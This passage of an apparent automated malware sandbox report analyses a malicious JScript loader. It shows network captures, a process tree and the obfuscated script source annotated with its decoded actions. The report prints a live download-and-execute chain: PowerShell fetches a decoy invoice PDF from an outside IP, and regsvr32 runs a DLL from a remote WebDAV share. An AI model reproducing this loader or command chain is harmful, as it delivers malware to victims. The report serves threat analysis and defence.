Jan 11, 2025 07:05:36.997998953 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:37.349255085 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:05:43.570487976 CET	56289	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:05:43.570487976 CET	192.168.2.8	1.1.1.1	0x6c96	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:05:43.577789068 CET	1.1.1.1	192.168.2.8	0x6c96	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:05:44.310308933 CET	1.1.1.1	192.168.2.8	0x8330	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7604	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:05:33.583619118 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:05:34.385365009 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:05:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:05:34.385397911 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:05:34.385412931 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:05:34.385457993 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 07:05:34.385473013 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 07:05:34.385488033 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 07:05:34.385514975 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 07:05:34.385529995 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 07:05:34.385546923 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 07:05:34.385597944 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 07:05:34.390294075 CET	1232	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7928	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:05:36.160170078 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:05:36.952816010 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:05:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:05:29
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js"
Imagebase:	0x7ff657b20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:05:29
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll
Imagebase:	0x7ff6a2de0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:05:29
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:05:29
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:05:34
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:05:34
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a2de0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:05:34
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff739f40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:05:35
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:05:35
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:05:35
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1360,i,4133838475266687135,6484250836128223451,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wawhzxyi() {	wawhzxyi() ➔ undefined
1	quipxsszb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var unfbkyocc = this[qdnkpry + svzxdi + jlaqczgk + ywybkk + poydksxnx + fgdaiukrq + exapcjqkd + geycnuny] ( this[amirgc + uvtfye + lgigvuqzk + jlaqczgk + tbxko + qdnkpry + geycnuny][awbkbsq + jlaqczgk + poydksxnx + svzxdi + geycnuny + poydksxnx + frxanigjl + jbxcmlez + jmeph + poydksxnx + lgigvuqzk + geycnuny] ( amirgc + uvtfye + lgigvuqzk + jlaqczgk + tbxko + qdnkpry + geycnuny + veilgfa + uvtfye + yjqcm + poydksxnx + kozrbl + kozrbl ) [tzdgf + poydksxnx + thcgh + tzdgf + poydksxnx + svzxdi + ntcex] ( tmhyubf + adtyajsyg + dgcevqpc + bzchgu + jlsygdx + awbkbsq + tkoozllex + tzdgf + tzdgf + dgcevqpc + sgsvgfrr + drszag + jlsygdx + tkoozllex + uvtfye + dgcevqpc + tzdgf + xingmuycw + awbkbsq + cqcipcrib + exapcjqkd + geycnuny + jlaqczgk + cqcipcrib + kozrbl + uljoeqy + dgayldnx + svzxdi + exapcjqkd + poydksxnx + kozrbl + xingmuycw + fgdaiukrq + exapcjqkd + geycnuny + poydksxnx + jlaqczgk + exapcjqkd + svzxdi + geycnuny + tbxko + cqcipcrib + exapcjqkd + svzxdi + kozrbl + xingmuycw + kdnda + cqcipcrib + lgigvuqzk + svzxdi + kozrbl + poydksxnx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hburkiuc = 0 ; hburkiuc < quipxsszb[kozrbl + poydksxnx + exapcjqkd + thcgh + geycnuny + yjqcm] ; ++ hburkiuc )
4	{
5	if ( unfbkyocc == quipxsszb[hburkiuc] )
6	{
7	unfbkyocc = true;
8	break ;
9	}
10	}
11	if ( unfbkyocc !== true )
12	this[amirgc + uvtfye + lgigvuqzk + jlaqczgk + tbxko + qdnkpry + geycnuny][eerejgr + bmpxgr + tbxko + geycnuny] ( );
13	this[amirgc + uvtfye + lgigvuqzk + jlaqczgk + tbxko + qdnkpry + geycnuny][awbkbsq + jlaqczgk + poydksxnx + svzxdi + geycnuny + poydksxnx + frxanigjl + jbxcmlez + jmeph + poydksxnx + lgigvuqzk + geycnuny] ( amirgc + uvtfye + lgigvuqzk + jlaqczgk + tbxko + qdnkpry + geycnuny + veilgfa + uvtfye + yjqcm + poydksxnx + kozrbl + kozrbl ) [jlaqczgk + bmpxgr + exapcjqkd] ( lgigvuqzk + nnjmlxgn + ntcex + uljoeqy + swlkhwjwv + lgigvuqzk + uljoeqy + qdnkpry + cqcipcrib + dankcgcv + poydksxnx + jlaqczgk + ywybkk + yjqcm + poydksxnx + kozrbl + kozrbl + veilgfa + poydksxnx + gdbfai + poydksxnx + uljoeqy + nbxzhpq + awbkbsq + cqcipcrib + nnjmlxgn + nnjmlxgn + svzxdi + exapcjqkd + ntcex + uljoeqy + ueqxzwo + fgdaiukrq + exapcjqkd + fcwmkmel + cqcipcrib + fwjpath + poydksxnx + nbxzhpq + amirgc + poydksxnx + jbxcmlez + tzdgf + poydksxnx + xhuyaybg + bmpxgr + poydksxnx + ywybkk + geycnuny + uljoeqy + nbxzhpq + frxanigjl + bmpxgr + geycnuny + yuorl + tbxko + kozrbl + poydksxnx + uljoeqy + ojjau + geycnuny + poydksxnx + nnjmlxgn + qdnkpry + ojjau + xingmuycw + tbxko + exapcjqkd + fcwmkmel + cqcipcrib + tbxko + lgigvuqzk + poydksxnx + veilgfa + qdnkpry + ntcex + pmuyfrmmj + uljoeqy + yjqcm + geycnuny + geycnuny + qdnkpry + mevde + swlkhwjwv + swlkhwjwv + pxtyuck + oyxtn + dfjnvhhd + veilgfa + pxtyuck + jwioynbu + dfjnvhhd + veilgfa + pxtyuck + veilgfa + mhrjn + azdhnuo + buyayg + swlkhwjwv + tbxko + exapcjqkd + fcwmkmel + cqcipcrib + tbxko + lgigvuqzk + poydksxnx + veilgfa + qdnkpry + yjqcm + qdnkpry + ueqxzwo + ktztgjazn + ktztgjazn + ywybkk + geycnuny + svzxdi + jlaqczgk + geycnuny + uljoeqy + ojjau + geycnuny + poydksxnx + nnjmlxgn + qdnkpry + ojjau + xingmuycw + tbxko + exapcjqkd + fcwmkmel + cqcipcrib + tbxko + lgigvuqzk + poydksxnx + veilgfa + qdnkpry + ntcex + pmuyfrmmj + ktztgjazn + ktztgjazn + lgigvuqzk + nnjmlxgn + ntcex + uljoeqy + swlkhwjwv + lgigvuqzk + uljoeqy + exapcjqkd + poydksxnx + geycnuny + uljoeqy + bmpxgr + ywybkk + poydksxnx + uljoeqy + xingmuycw + xingmuycw + pxtyuck + oyxtn + dfjnvhhd + veilgfa + pxtyuck + jwioynbu + dfjnvhhd + veilgfa + pxtyuck + veilgfa + mhrjn + azdhnuo + buyayg + kbaqw + wronmsni + wronmsni + wronmsni + wronmsni + xingmuycw + ntcex + svzxdi + fcwmkmel + dankcgcv + dankcgcv + dankcgcv + jlaqczgk + cqcipcrib + cqcipcrib + geycnuny + xingmuycw + ktztgjazn + ktztgjazn + lgigvuqzk + nnjmlxgn + ntcex + uljoeqy + swlkhwjwv + lgigvuqzk + uljoeqy + jlaqczgk + poydksxnx + thcgh + ywybkk + fcwmkmel + jlaqczgk + dfjnvhhd + mhrjn + uljoeqy + swlkhwjwv + ywybkk + uljoeqy + xingmuycw + xingmuycw + pxtyuck + oyxtn + dfjnvhhd + veilgfa + pxtyuck + jwioynbu + dfjnvhhd + veilgfa + pxtyuck + veilgfa + mhrjn + azdhnuo + buyayg + kbaqw + wronmsni + wronmsni + wronmsni + wronmsni + xingmuycw + ntcex + svzxdi + fcwmkmel + dankcgcv + dankcgcv + dankcgcv + jlaqczgk + cqcipcrib + cqcipcrib + geycnuny + xingmuycw + mhrjn + qexwns + oqsajjnqs + mhrjn + jwioynbu + pxtyuck + azdhnuo + qexwns + oqsajjnqs + mhrjn + dfjnvhhd + pxtyuck + qexwns + mhrjn + azdhnuo + veilgfa + ntcex + kozrbl + kozrbl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll",0,false) ➔ 0
14	}
15	yuorl = "t";
16	yuorl = "F";
17	yuorl = "Q";
18	yuorl = "s";
19	yuorl = "f";
20	yuorl = "t";
21	yuorl = "E";
22	yuorl = "U";
23	yuorl = "X";
24	yuorl = "J";
25	yuorl = "s";
26	yuorl = "k";
27	yuorl = "F";
28	jbxcmlez = "t";
29	jbxcmlez = "P";
30	jbxcmlez = "y";
31	jbxcmlez = "X";
32	jbxcmlez = "W";
33	jbxcmlez = "h";
34	jbxcmlez = "q";
35	jbxcmlez = "G";
36	jbxcmlez = "A";
37	jbxcmlez = "v";
38	jbxcmlez = "N";
39	jbxcmlez = "V";
40	jbxcmlez = "z";
41	jbxcmlez = "v";
42	jbxcmlez = "Q";
43	jbxcmlez = "R";
44	jbxcmlez = "r";
45	jbxcmlez = "j";
46	jbxcmlez = "s";
47	jbxcmlez = "B";
48	jbxcmlez = "d";
49	jbxcmlez = "C";
50	jbxcmlez = "H";
51	jbxcmlez = "r";
52	jbxcmlez = "c";
53	jbxcmlez = "l";
54	jbxcmlez = "Y";
55	jbxcmlez = "r";
56	jbxcmlez = "z";
57	jbxcmlez = "J";
58	jbxcmlez = "a";
59	jbxcmlez = "b";
60	jbxcmlez = "K";
61	jbxcmlez = "e";
62	jbxcmlez = "Z";
63	jbxcmlez = "W";
64	jbxcmlez = "Z";
65	jbxcmlez = "L";
66	jbxcmlez = "p";
67	jbxcmlez = "L";
68	jbxcmlez = "K";
69	jbxcmlez = "d";
70	jbxcmlez = "z";
71	jbxcmlez = "u";
72	jbxcmlez = "b";
73	qdnkpry = "P";
74	qdnkpry = "F";
75	qdnkpry = "B";
76	qdnkpry = "V";
77	qdnkpry = "h";
78	qdnkpry = "U";
79	qdnkpry = "I";
80	qdnkpry = "a";
81	qdnkpry = "P";
82	qdnkpry = "j";
83	qdnkpry = "v";
84	qdnkpry = "c";
85	qdnkpry = "o";
86	qdnkpry = "w";
87	qdnkpry = "w";
88	qdnkpry = "m";
89	qdnkpry = "y";
90	qdnkpry = "J";
91	qdnkpry = "w";
92	qdnkpry = "J";
93	qdnkpry = "D";
94	qdnkpry = "H";
95	qdnkpry = "f";
96	qdnkpry = "t";
97	qdnkpry = "C";
98	qdnkpry = "c";
99	qdnkpry = "W";
100	qdnkpry = "K";
101	qdnkpry = "H";
102	qdnkpry = "K";
103	qdnkpry = "Q";
104	qdnkpry = "A";
105	qdnkpry = "Y";
106	qdnkpry = "p";
107	amirgc = "V";
108	amirgc = "T";
109	amirgc = "m";
110	amirgc = "N";
111	amirgc = "s";
112	amirgc = "e";
113	amirgc = "W";
114	amirgc = "q";
115	amirgc = "t";
116	amirgc = "H";
117	amirgc = "W";
118	bzchgu = "O";
119	bzchgu = "i";
120	bzchgu = "H";
121	bzchgu = "A";
122	bzchgu = "N";
123	bzchgu = "b";
124	bzchgu = "b";
125	bzchgu = "u";
126	bzchgu = "O";
127	bzchgu = "T";
128	bzchgu = "P";
129	bzchgu = "u";
130	bzchgu = "X";
131	bzchgu = "g";
132	bzchgu = "d";
133	bzchgu = "U";
134	bzchgu = "s";
135	bzchgu = "W";
136	bzchgu = "I";
137	bzchgu = "d";
138	bzchgu = "b";
139	bzchgu = "Y";
140	awbkbsq = "O";
141	awbkbsq = "C";
142	awbkbsq = "z";
143	awbkbsq = "k";
144	awbkbsq = "H";
145	awbkbsq = "k";
146	awbkbsq = "V";
147	awbkbsq = "N";
148	awbkbsq = "S";
149	awbkbsq = "u";
150	awbkbsq = "p";
